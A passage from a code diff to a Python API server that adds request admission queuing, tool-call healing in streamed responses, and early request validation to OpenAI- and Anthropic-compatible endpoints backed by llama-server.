def _build_chat_request( if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw: chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"]) explicit_enable_thinking = True + # auto_heal_tool_calls / nudge_tool_calls are not typed on + # ResponsesRequest; lift them from the extra-body so passthrough + # healing (and the opt-in nudge) honor them on both paths. + if isinstance(_extra.get("auto_heal_tool_calls"), bool): + chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"] + if isinstance(_extra.get("nudge_tool_calls"), bool): + chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"] if isinstance(payload.reasoning, dict): effort = payload.reasoning.get("effort") @@ -6829,8 +10068,6 @@ async def _responses_non_streaming( # the model produced content, so clients expecting a pure tool-call turn # (finish_reason="tool_calls") don't see a spurious empty message item. output_items: list[dict] = [] - if reasoning_text and not text and not tool_calls: - text = reasoning_text if reasoning_text: output_items.append(_responses_reasoning_output_item(reasoning_text)) if text: @@ -6918,7 +10155,7 @@ async def _responses_stream( # so the client sees a useful error instead of a dangling stream. raise HTTPException( status_code = 400, - detail = ( + detail = _no_model_loaded_detail( "Streaming /v1/responses requires a GGUF model loaded via " "llama-server. Use non-streaming /v1/responses, " "/v1/chat/completions, or load a GGUF model." @@ -6940,8 +10177,62 @@ async def _responses_stream( ) body["stream_options"] = {"include_usage": True} target_url = f"{llama_backend.base_url}/v1/chat/completions" + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = "responses_stream", + completion_id = resp_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) + + def _responses_admission_failed_sse(exc: Exception, *, status_code: int) -> str: + return ( + "event: response.failed\n" + "data: " + + json.dumps( + { + "type": "response.failed", + "response": { + "id": resp_id, + "object": "response", + "created_at": created_at, + "status": "failed", + "model": _llama_public_model_id(llama_backend, payload.model) + or payload.model, + "output": [], + "usage": { + "input_tokens": 0, + "output_tokens": 0, + "total_tokens": 0, + }, + "error": { + "code": status_code, + "message": str(exc), + }, + }, + } + ) + + "\n\n" + ) async def event_generator(): + # Clean public id for every response envelope. Prefer the loaded model's + # id so the stream agrees with /v1/models, chat/completions and the + # non-streaming twin; fall back to a sanitized payload.model (a legacy + # raw .gguf path is stripped, never echoed back). Use the advertised-id + # helper, not the raw identifier: after an auto-switch to a cached HF GGUF + # the identifier is the snapshot path while the repo id lives in + # _openai_advertised_id, so the raw form would stream a snapshot basename. + _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model full_text = "" full_reasoning = "" input_tokens = 0 @@ -6950,16 +10241,112 @@ async def _responses_stream( parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend) ) reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} - message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} + message_state: dict[str, Any] = { + "output_index": None, + "item_id": None, + "opened": False, + "text": "", + } + # Message items already closed mid-stream (a healed tool call splits + # the assistant text into separate message items, as native Responses + # streams do). Kept for the final response.completed snapshot. + closed_message_states: list[dict] = [] # Per-tool-call state keyed by Chat Completions `tool_calls[].index`, # stable across chunks for the same call. Values: # {output_index, item_id, call_id, name, arguments, opened} tool_call_state: dict[int, dict] = {} next_output_index = 0 + # Text-form tool calls promoted back to structured calls (declared + # client tools only); dormant once grammar-mode structured deltas appear. + _allowed_tools = heal_gate( + getattr(chat_req, "auto_heal_tool_calls", None), + body.get("tools"), + body.get("tool_choice"), + ) + healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + healed_tc_index = 0 + + def _healed_tc(call: dict): + # Chat-delta shape for a healed call. Indexes live in a disjoint + # range so a healed call can never merge into a structured call's + # state slot; parallel_tool_calls=false caps healed calls too (the + # upstream cap ran before injection). + nonlocal healed_tc_index + if payload.parallel_tool_calls is False and healed_tc_index >= 1: + return None + tc = { + "index": 1_000_000 + healed_tc_index, + "id": call["id"], + "type": "function", + "function": call["function"], + } + healed_tc_index += 1 + return tc def _sse(event_name: str, payload: dict) -> str: return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n" + def _tool_call_delta_events(tc: dict) -> list: + # One Chat Completions tool_calls delta -> Responses SSE events, + # allocating/merging per-call state (shared by the structured loop + # and the healer's promoted calls). + events = [] + idx = tc.get("index", 0) + st = tool_call_state.get(idx) + fn = tc.get("function") or {} + if st is None: + # First chunk for this tool call -- allocate an + # output_index and emit output_item.added. + st = { + "output_index": _claim_output_index(), + "item_id": f"fc_{uuid.uuid4().hex[:12]}", + "call_id": tc.get("id") or "", + "name": fn.get("name") or "", + "arguments": "", + "opened": False, + } + tool_call_state[idx] = st + else: + # Later chunks sometimes carry id/name only once; merge + # when present. + if tc.get("id") and not st["call_id"]: + st["call_id"] = tc["id"] + if fn.get("name") and not st["name"]: + st["name"] = fn["name"] + + if not st["opened"] and st["call_id"] and st["name"]: + item_added = { + "type": "response.output_item.added", + "output_index": st["output_index"], + "item": { + "type": "function_call", + "id": st["item_id"], + "status": "in_progress", + "call_id": st["call_id"], + "name": st["name"], + "arguments": "", + }, + } + events.append(_sse("response.output_item.added", item_added)) + st["opened"] = True + + arg_delta = fn.get("arguments") or "" + if arg_delta and st["opened"]: + st["arguments"] += arg_delta + args_delta_event = { + "type": "response.function_call_arguments.delta", + "item_id": st["item_id"], + "output_index": st["output_index"], + "delta": arg_delta, + } + events.append(_sse("response.function_call_arguments.delta", args_delta_event)) + elif arg_delta: + # Buffer args until we can open the item (some models + # send id/name in the same chunk as the first arg delta; + # if not, stash). + st["arguments"] += arg_delta + return events + def _claim_output_index() -> int: nonlocal next_output_index output_index = next_output_index @@ -7044,6 +10431,98 @@ async def _responses_stream( ), ] + def _close_message_item() -> list[str]: + """Close the open message item so later text opens a fresh one. + + Emits the same done-event triplet the end-of-stream close loop + would, records the item for the final snapshot, and resets the + state in place. No-op when no message item is open. + """ + if not message_state["opened"]: + return [] + text = message_state["text"] + events = [ + _sse( + "response.output_text.done", + { + "type": "response.output_text.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "text": text, + }, + ), + _sse( + "response.content_part.done", + { + "type": "response.content_part.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "part": {"type": "output_text", "text": text, "annotations": []}, + }, + ), + _sse( + "response.output_item.done", + { + "type": "response.output_item.done", + "output_index": message_state["output_index"], + "item": { + "type": "message", + "id": message_state["item_id"], + "status": "completed", + "role": "assistant", + "content": [{"type": "output_text", "text": text, "annotations": []}], + }, + }, + ), + ] + closed_message_states.append(dict(message_state)) + message_state.update( + {"output_index": None, "item_id": None, "opened": False, "text": ""} + ) + return events + + def _healed_event_sse(events) -> list[str]: + """Serialize healer events preserving their order. + + Text around a healed call must keep its position relative to the + function_call item (output indexes are claimed in emission order), + so never split an event list into all-text-then-all-calls. A healed + call also CLOSES any open message item, so trailing text opens a + fresh message with a later output index, exactly like a native + Responses stream that interleaves messages and calls. + """ + nonlocal full_text + out: list[str] = [] + for kind, value in events: + if kind == "text": + if not value: + continue + out.extend(_ensure_message_open()) + full_text += value + message_state["text"] += value + api_monitor.append_reply(monitor_id, value) + out.append( + _sse( + "response.output_text.delta", + { + "type": "response.output_text.delta", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "delta": value, + }, + ) + ) + else: + tc = _healed_tc(value) + if tc is None: + continue + out.extend(_close_message_item()) + out.extend(_tool_call_delta_events(tc)) + return out + def _snapshot_output() -> list[dict]: """Snapshot of all completed output items for response.completed.""" indexed_items: list[tuple[int, dict]] = [] @@ -7060,19 +10539,23 @@ async def _responses_stream( }, ) ) - if message_state["opened"]: + # Closed copies keep opened=True (snapshotted before reset); the + # live state contributes only when a message is currently open. + for msg_st in [*closed_message_states, message_state]: + if not msg_st["opened"]: + continue indexed_items.append( ( - message_state["output_index"], + msg_st["output_index"], { "type": "message", - "id": message_state["item_id"], + "id": msg_st["item_id"], "status": "completed", "role": "assistant", "content": [ { "type": "output_text", - "text": full_text, + "text": msg_st["text"], "annotations": [], } ], @@ -7103,7 +10586,7 @@ async def _responses_stream( "object": "response", "created_at": created_at, "status": "failed", - "model": payload.model, + "model": _clean_model, "output": _snapshot_output(), "usage": { "input_tokens": input_tokens, @@ -7127,7 +10610,7 @@ async def _responses_stream( "object": "response", "created_at": created_at, "status": "in_progress", - "model": payload.model, + "model": _clean_model, "output": [], "usage": {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0}, }, @@ -7140,11 +10623,14 @@ async def _responses_stream( # `async with`, explicit aclose of lines_iter BEFORE resp / client so # the innermost httpcore byte stream is finalised in this task (not via # the asyncgen GC in a sibling task). - client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout()) + client = httpx.AsyncClient( + timeout = _llama_streaming_generation_timeout(), + trust_env = False, + ) resp = None lines_iter = None - disconnect_event = threading.Event() disconnect_watcher = None + disconnect_event = threading.Event() try: req = client.build_request( "POST", target_url, json = body, headers = {"Connection": "close"} @@ -7167,7 +10653,7 @@ async def _responses_stream( "object": "response", "created_at": created_at, "status": "failed", - "model": payload.model, + "model": _clean_model, "output": [], "error": {"code": 502, "message": _friendly_error(e)}, }, @@ -7193,21 +10679,21 @@ async def _responses_stream( "object": "response", "created_at": created_at, "status": "failed", - "model": payload.model, + "model": _clean_model, "output": [], "error": { "code": resp.status_code, - "message": f"llama-server error: {err_text[:500]}", + "message": _friendly_upstream_error(err_text[:500]), }, }, }, ) return + lines_iter = resp.aiter_lines() disconnect_watcher = asyncio.create_task( _await_disconnect_then_close(request, resp, disconnect_event) ) - lines_iter = resp.aiter_lines() async for raw_line in _aiter_llama_stream_items( lines_iter, cancel_event = disconnect_event, @@ -7253,10 +10739,30 @@ async def _responses_stream( "delta": reasoning_delta, }, ) + # Heal text-form tool calls in the visible stream (never in + # reasoning text): promoted calls join the structured tc loop + # below through the same state machinery, and healer events are + # emitted IN ORDER so text after a healed call never jumps ahead + # of the function_call item. Once a structured delta arrives, + # grammar mode worked and the healer goes dormant. + if healer is not None and not healer.dormant: + healed_events = [] + if delta.get("tool_calls"): + # Held text preceded the structured call; the call's own + # deltas follow in the structured loop below. + healed_events = healer.structured_tool_call_seen() + if visible_delta: + healed_events.append(("text", visible_delta)) + elif visible_delta: + healed_events = healer.feed(visible_delta) + visible_delta = "" + for event in _healed_event_sse(healed_events): + yield event if visible_delta: for event in _ensure_message_open(): yield event full_text += visible_delta + message_state["text"] += visible_delta api_monitor.append_reply(monitor_id, visible_delta) yield _sse( "response.output_text.delta", @@ -7270,63 +10776,23 @@ async def _responses_stream( ) for tc in delta.get("tool_calls") or []: - idx = tc.get("index", 0) - st = tool_call_state.get(idx) - fn = tc.get("function") or {} - if st is None: - # First chunk for this tool call -- allocate an - # output_index and emit output_item.added. - st = { - "output_index": _claim_output_index(), - "item_id": f"fc_{uuid.uuid4().hex[:12]}", - "call_id": tc.get("id") or "", - "name": fn.get("name") or "", - "arguments": "", - "opened": False, - } - tool_call_state[idx] = st - else: - # Later chunks sometimes carry id/name only once; merge - # when present. - if tc.get("id") and not st["call_id"]: - st["call_id"] = tc["id"] - if fn.get("name") and not st["name"]: - st["name"] = fn["name"] - - if not st["opened"] and st["call_id"] and st["name"]: - item_added = { - "type": "response.output_item.added", - "output_index": st["output_index"], - "item": { - "type": "function_call", - "id": st["item_id"], - "status": "in_progress", - "call_id": st["call_id"], - "name": st["name"], - "arguments": "", - }, - } - yield _sse("response.output_item.added", item_added) - st["opened"] = True - - arg_delta = fn.get("arguments") or "" - if arg_delta and st["opened"]: - st["arguments"] += arg_delta - args_delta_event = { - "type": "response.function_call_arguments.delta", - "item_id": st["item_id"], - "output_index": st["output_index"], - "delta": arg_delta, - } - yield _sse("response.function_call_arguments.delta", args_delta_event) - elif arg_delta: - # Buffer args until we can open the item (some models - # send id/name in the same chunk as the first arg delta; - # if not, stash). - st["arguments"] += arg_delta + if ( + payload.parallel_tool_calls is False + and healed_tc_index >= 1 + and tc.get("index", 0) not in tool_call_state + ): + # A healed call already consumed the single allowed slot; + # _drop_parallel_tool_call_deltas only sees native indexes, + # so a native index-0 call would still open a second + # function_call item. Skip it (and its later argument + # deltas, which never allocate a state either). + continue + for event in _tool_call_delta_events(tc): + yield event _apply_usage(chunk_data.get("usage")) except asyncio.CancelledError: + disconnect_event.set() api_monitor.finish(monitor_id, "cancelled") raise except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e: @@ -7378,10 +10844,19 @@ async def _responses_stream( "delta": final_reasoning, }, ) + # Last-chance heal of any held residue (e.g. a tool block the model + # never closed) before the trailing visible text is flushed; events + # keep healer order so trailing text stays behind a healed call. + if healer is not None: + events = (healer.feed(final_visible) if final_visible else []) + healer.finalize() + final_visible = "" + for event in _healed_event_sse(events): + yield event if final_visible: for event in _ensure_message_open(): yield event full_text += final_visible + message_state["text"] += final_visible api_monitor.append_reply(monitor_id, final_visible) yield _sse( "response.output_text.delta", @@ -7393,21 +10868,6 @@ async def _responses_stream( "delta": final_visible, }, ) - if full_reasoning and not full_text and not tool_call_state: - for event in _ensure_message_open(): - yield event - full_text = full_reasoning - api_monitor.set_reply(monitor_id, full_text) - yield _sse( - "response.output_text.delta", - { - "type": "response.output_text.delta", - "item_id": message_state["item_id"], - "output_index": message_state["output_index"], - "content_index": 0, - "delta": full_text, - }, - ) close_items: list[tuple[int, str, dict[str, Any]]] = [] if reasoning_state["opened"]: @@ -7455,6 +10915,10 @@ async def _responses_stream( continue if kind == "message": + # Per-item text: message items closed mid-stream (healed-call + # rotation) already emitted their done events, so this state + # carries only its own text, not the whole stream's. + _msg_text = st["text"] yield _sse( "response.output_text.done", { @@ -7462,7 +10926,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "text": full_text, + "text": _msg_text, }, ) yield _sse( @@ -7472,7 +10936,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "part": {"type": "output_text", "text": full_text, "annotations": []}, + "part": {"type": "output_text", "text": _msg_text, "annotations": []}, }, ) yield _sse( @@ -7486,7 +10950,7 @@ async def _responses_stream( "status": "completed", "role": "assistant", "content": [ - {"type": "output_text", "text": full_text, "annotations": []} + {"type": "output_text", "text": _msg_text, "annotations": []} ], }, }, @@ -7556,7 +11020,7 @@ async def _responses_stream( "object": "response", "created_at": created_at, "status": "completed", - "model": payload.model, + "model": _clean_model, "output": _snapshot_output(), "usage": { "input_tokens": input_tokens, @@ -7568,7 +11032,112 @@ async def _responses_stream( api_monitor.finish(monitor_id) yield _sse("response.completed", completed_response) - return _sse_streaming_response(event_generator()) + async def admitted_event_generator(): + lease = reservation.lease_nowait() + admission_wait_started_at = None + stream_started = False + stream_cancelled = False + iterator = None + try: + if lease is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = "responses_stream", + completion_id = resp_id, + level = "debug", + ) + async for wait_item in _openai_admission_wait_stream_chunks( + reservation, + admission_config, + request = request, + cancel_event = None, + ): + if isinstance(wait_item, str): + yield wait_item + continue + lease = wait_item + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = "responses_stream", + wait_started_at = admission_wait_started_at, + completion_id = resp_id, + level = "debug", + ) + break + if lease is None: + return + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = None, + ) + iterator = event_generator() + stream_started = True + try: + async for chunk in iterator: + yield chunk + except asyncio.CancelledError: + stream_cancelled = True + api_monitor.finish(monitor_id, "cancelled") + raise + finally: + await _close_openai_admitted_stream_iterator( + iterator, + cancelled = stream_cancelled, + ) + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = "responses_stream", + wait_started_at = admission_wait_started_at, + completion_id = resp_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + yield _responses_admission_failed_sse(exc, status_code = 503) + except LlamaAdmissionCancelled: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = "responses_stream", + wait_started_at = admission_wait_started_at, + completion_id = resp_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + return + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise + finally: + if lease is not None: + lease.release() + if not stream_started: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + + async def _responses_admission_unstarted_cleanup() -> None: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + + return _SameTaskStreamingResponse( + admitted_event_generator(), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + unstarted_cleanup = _responses_admission_unstarted_cleanup, + ) @router.post("/responses") @@ -7587,6 +11156,56 @@ async def openai_responses( messages = _normalise_responses_input(payload) if not messages: raise HTTPException(status_code = 400, detail = "No input provided.") + # System/developer-only input normalises to a non-empty list, so reject it + # before the switch (mirror chat) or an invalid request evicts the resident + # model only for the chat handler to 400 it as having no non-system message. + if not any(m.role not in ("system", "developer") for m in messages): + raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + # Reject a malformed function tool before any model load, mirroring the + # /v1/chat/completions check, so an invalid request never switches the model. + # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. + for _tool in payload.tools or []: + if not isinstance(_tool, dict) or _tool.get("type") != "function": + continue + _name = _tool.get("name") + if not isinstance(_name, str) or not _name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tools': each function tool must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tools", + ), + ) + # Reject a forcing-function tool_choice with no name before the switch (mirror + # chat), so a malformed request can't evict the model. Responses forces with + # {"type": "function", "name": "X"}; the streaming path would otherwise forward + # the bad choice and the non-streaming path only 400s after the swap. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_name = _tc.get("name") + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # After input validation so a 400 never triggers a load. Switches the + # streaming path; non-streaming re-checks via the idempotent chat handler. + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to 400 afterwards + # (the non-streaming chat re-check short-circuits on _already_serving). + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _messages_have_image(messages), + ) if payload.stream: monitor_id = None @@ -7723,6 +11342,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b return has_image +def _validate_anthropic_client_tools(tools) -> None: + # Reject malformed client tools before any model load, so an invalid request + # never evicts the loaded model. AnthropicTool relaxed name/input_schema to + # Optional for server tools, so the converter silently drops incomplete + # entries; surface them as 400 here. A `type` field marks a server-tool + # declaration (unrecognized server tools are no-ops); anything else without + # input_schema or name is malformed. + for tool in tools or []: + td = tool if isinstance(tool, dict) else tool.model_dump() + name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") + if schema is None and not isinstance(type_, str): + raise HTTPException( + status_code = 400, + detail = f"Tool {name!r} is missing required field 'input_schema'.", + ) + if schema is not None and (not isinstance(name, str) or not name): + raise HTTPException( + status_code = 400, + detail = "Client tool is missing required field 'name'.", + ) + + @router.post("/messages/count_tokens") async def anthropic_count_tokens( payload: AnthropicMessagesRequest, @@ -7736,11 +11377,24 @@ async def anthropic_count_tokens( tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages, max_tokens is NOT required here. """ + # Reject malformed tools before the switch, like /messages, so an invalid + # count request can't evict the loaded model. + _validate_anthropic_client_tools(payload.tools) + # Count with the requested model's tokenizer, like the sibling /messages. + # Carry the vision guard too: an image count naming a text-only GGUF must not + # evict a loaded vision model for a swap that can't serve the request. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + llama_backend = get_llama_cpp_backend() if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = "No GGUF model loaded. Load a GGUF model first.", + detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), ) # Same Anthropic → OpenAI translation as anthropic_messages: system is @@ -7752,8 +11406,11 @@ async def anthropic_count_tokens( # Apply the same sanitization /messages does before generation, so the count # matches the prompt the real request would build (otherwise empty-assistant # sentinels / synthetic tool history inflate the count or hit the fallback). - openai_messages = _strip_provider_synthetic_tool_history( - _drop_empty_assistant_sentinels(openai_messages) + # Coalesce adjacent user turns left behind by dropping an empty / null assistant + # turn, so a strict GGUF chat template does not 400 on non-alternating roles + # (mirrors the GGUF chat path); a no-op for already-alternating histories. + openai_messages = _coalesce_consecutive_user_turns( + _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) ) openai_tools = anthropic_tools_to_openai(payload.tools or []) or None @@ -7802,14 +11459,20 @@ async def anthropic_messages( JSON). """ llama_backend = get_llama_cpp_backend() - if not llama_backend.is_loaded: + + # Default-off parity: with no automatic load possible and nothing loaded, 503 + # before any request-shape check, exactly as the pre-feature endpoint did. When + # an automatic load can run (auto-switch or a standalone idle TTL), fall through + # so validation runs before the reload hook gets a chance to restore the model. + if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, - detail = "No GGUF model loaded. Load a GGUF model first.", + detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), ) - # max_tokens is a required field on the Anthropic Messages API; real - # Anthropic returns a 400 invalid_request_error when it is omitted. + # max_tokens is a required field on the Anthropic Messages API; real Anthropic + # returns a 400 invalid_request_error when it is omitted. Validate before + # auto-switch so a rejected request never triggers a model load. if payload.max_tokens is None: raise HTTPException( status_code = 400, @@ -7820,7 +11483,47 @@ async def anthropic_messages( ), ) - model_name = getattr(llama_backend, "model_identifier", None) or payload.model + # Reject malformed client tools before any model load (see helper), so an + # invalid request never evicts the loaded model. + _validate_anthropic_client_tools(payload.tools) + + # Mixing Anthropic server tools with custom client tools is unsupported (the + # server-tool loop can't relay client functions back to the caller). Reject + # before the switch too -- it depends only on the payload -- so an invalid + # request never evicts the loaded model. Reused below for tool routing. + requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) + _has_client_tool = any( + (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None + for t in payload.tools or [] + ) + if requested_studio_tools and _has_client_tool: + raise HTTPException( + status_code = 400, + detail = ( + "Mixing Anthropic server tools (e.g. web_search_20250305) " + "with custom client tools in a single request is not " + "supported. Send them in separate requests." + ), + ) + + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to hit the vision + # guard (_normalize_anthropic_openai_images) below after the load. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + if not llama_backend.is_loaded: + raise HTTPException( + status_code = 503, + detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + ) + + # Advertised repo id after an auto-switch load, else a clean public id, never + # the local .gguf path (and a legacy raw path in payload.model is sanitized). + model_name = _llama_public_model_id(llama_backend, payload.model) message_id = f"msg_{uuid.uuid4().hex[:24]}" # ── Translate Anthropic → OpenAI ────────────────────────── @@ -7835,8 +11538,11 @@ async def anthropic_messages( # builders apply the same strip; without it an Anthropic /v1/messages caller # replaying a prior provider-side tool_use forwards fake builtin tool # history to a backend with no matching function declarations. - openai_messages = _strip_provider_synthetic_tool_history( - _drop_empty_assistant_sentinels(openai_messages) + # Coalesce adjacent user turns left behind by dropping an empty / null assistant + # turn, so a strict GGUF chat template does not 400 on non-alternating roles + # (mirrors the GGUF chat path); a no-op for already-alternating histories. + openai_messages = _coalesce_consecutive_user_turns( + _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) ) # Enforce vision guard + re-encode embedded images to PNG so the Anthropic @@ -7867,51 +11573,8 @@ async def anthropic_messages( # 2. tools=[...] only → client-side pass-through (standard Anthropic behavior) # 3. neither → plain chat # The server-side agentic loop doesn't support multimodal input -- matches - # the `not image_b64` gate in /v1/chat/completions. - requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) - - # Reject malformed client tools at the boundary. AnthropicTool was relaxed - # to Optional[name]/Optional[input_schema] for server tools, so the - # converter silently drops incomplete entries -- surface them as 400. A - # `type` field marks a server-tool declaration per spec (unrecognized server - # tools are accepted as no-ops); anything else without input_schema or name - # is malformed and must not be allowed to silently flip execution mode or - # disable tool calling. - for tool in payload.tools or []: - td = tool if isinstance(tool, dict) else tool.model_dump() - name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") - if schema is None and not isinstance(type_, str): - raise HTTPException( - status_code = 400, - detail = f"Tool {name!r} is missing required field 'input_schema'.", - ) - if schema is not None and (not isinstance(name, str) or not name): - raise HTTPException( - status_code = 400, - detail = "Client tool is missing required field 'name'.", - ) - - # Detect client tools from the raw payload (presence of input_schema) so the - # mixed-mode check below isn't fooled by a name collision with a server-tool - # alias that the post-filter would silently drop. - _has_client_tool = any( - (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None - for t in payload.tools or [] - ) - - # The server-tool agentic loop executes tools in-process and can't relay - # unknown client functions back to the caller, so mixed requests would - # silently drop the client tools. Reject explicitly instead. - if requested_studio_tools and _has_client_tool: - raise HTTPException( - status_code = 400, - detail = ( - "Mixing Anthropic server tools (e.g. web_search_20250305) " - "with custom client tools in a single request is not " - "supported. Send them in separate requests." - ), - ) - + # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and + # the mixed-mode rejection were computed before the switch above. openai_client_tools = [ tool for tool in anthropic_tools_to_openai(payload.tools or []) @@ -7928,7 +11591,9 @@ async def anthropic_messages( and not _has_image ) client_tools = ( - not server_tools and len(openai_client_tools) > 0 and llama_backend.supports_tools + not server_tools + and len(openai_client_tools) > 0 + and getattr(llama_backend, "supports_tool_passthrough", llama_backend.supports_tools) ) # Anthropic tool_choice.disable_parallel_tool_use caps the response to a @@ -7996,6 +11661,7 @@ async def anthropic_messages( session_id = payload.session_id, cancel_id = payload.cancel_id, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, ) ) return await _monitored_anthropic( @@ -8015,6 +11681,8 @@ async def anthropic_messages( presence_penalty = presence_penalty, tool_choice = openai_tool_choice, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, + nudge_tool_calls = payload.nudge_tool_calls, ) ) @@ -8058,10 +11726,16 @@ async def anthropic_messages( else: openai_messages.insert(0, {"role": "system", "content": _nudge}) - # Strip stale tool-call XML from conversation + # Strip stale tool-call XML via the protected display helper (think rehearsal and [TOOL_CALLS] + # prose survive), gated on enabled tool names so documented inactive examples are kept. + _anthropic_history_gate = _display_tool_name_gate(openai_tools) for _msg in openai_messages: if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str): - _msg["content"] = _TOOL_XML_RE.sub("", _msg["content"]).strip() + _msg["content"] = _strip_tool_xml_for_display( + _msg["content"], + auto_heal_tool_calls = True, + enabled_tool_names = _anthropic_history_gate, + ).strip() def _run_tool_gen(): return llama_backend.generate_chat_completion_with_tools( @@ -8078,6 +11752,7 @@ async def anthropic_messages( cancel_event = cancel_event, max_tool_iterations = 25, auto_heal_tool_calls = True, + nudge_tool_calls = payload.nudge_tool_calls, tool_call_timeout = 300, session_id = payload.session_id, # Anthropic passthrough has no rag_scope field (RAG is local-only). @@ -8106,6 +11781,7 @@ async def anthropic_messages( message_id, model_name, disable_parallel_tool_use = _disable_parallel, + openai_tools = openai_tools, ) ) @@ -8159,6 +11835,10 @@ async def _anthropic_tool_stream( """Streaming response for the tool-calling path.""" _sentinel = object() + # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final + # answer is prose and must survive in the delivered text. + _display_names = _display_tool_name_gate(openai_tools) + # Prompt-token count for message_start.usage.input_tokens. count_chat_tokens # makes blocking HTTP calls to llama-server, so run it off the event loop. # Pass the tools so tool-schema tokens are counted (the generator renders @@ -8184,9 +11864,14 @@ async def _anthropic_tool_stream( drop_until_tool_end = False gen = run_gen() + # Watcher to cancel on disconnect: the in-loop poll fires only between + # events, so a mid-prefill disconnect would otherwise hold the decode slot. + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: while True: - if await request.is_disconnected(): + if cancel_event.is_set() or await request.is_disconnected(): cancel_event.set() return event = await asyncio.to_thread(next, gen, _sentinel) @@ -8205,9 +11890,15 @@ async def _anthropic_tool_stream( captured_finish_reason = _fr # Strip leaked tool-call XML from content events first, so a # content event that was purely tool XML doesn't count as text. + # Protected helper preserves rehearsal and balanced + # [TOOL_CALLS] trailing prose (raw _TOOL_XML_RE.sub corrupts both). if etype == "content": event = dict(event) - event["text"] = _TOOL_XML_RE.sub("", event["text"]) + event["text"] = _strip_tool_xml_for_display( + event["text"], + auto_heal_tool_calls = True, + enabled_tool_names = _display_names, + ) # disable_parallel_tool_use: keep only the first tool_use block, # dropping every later tool_start and its paired tool_end (robust # to empty tool-call ids — tracked by state, not id matching). @@ -8234,6 +11925,8 @@ async def _anthropic_tool_stream( if _error_event is not None: yield _error_event return + finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) stop_reason = openai_finish_to_anthropic_stop( captured_finish_reason, had_tool_calls = ends_on_tool_use @@ -8270,9 +11963,14 @@ async def _anthropic_plain_stream( captured_finish_reason = None gen = run_gen() + # Watcher to cancel on disconnect: the 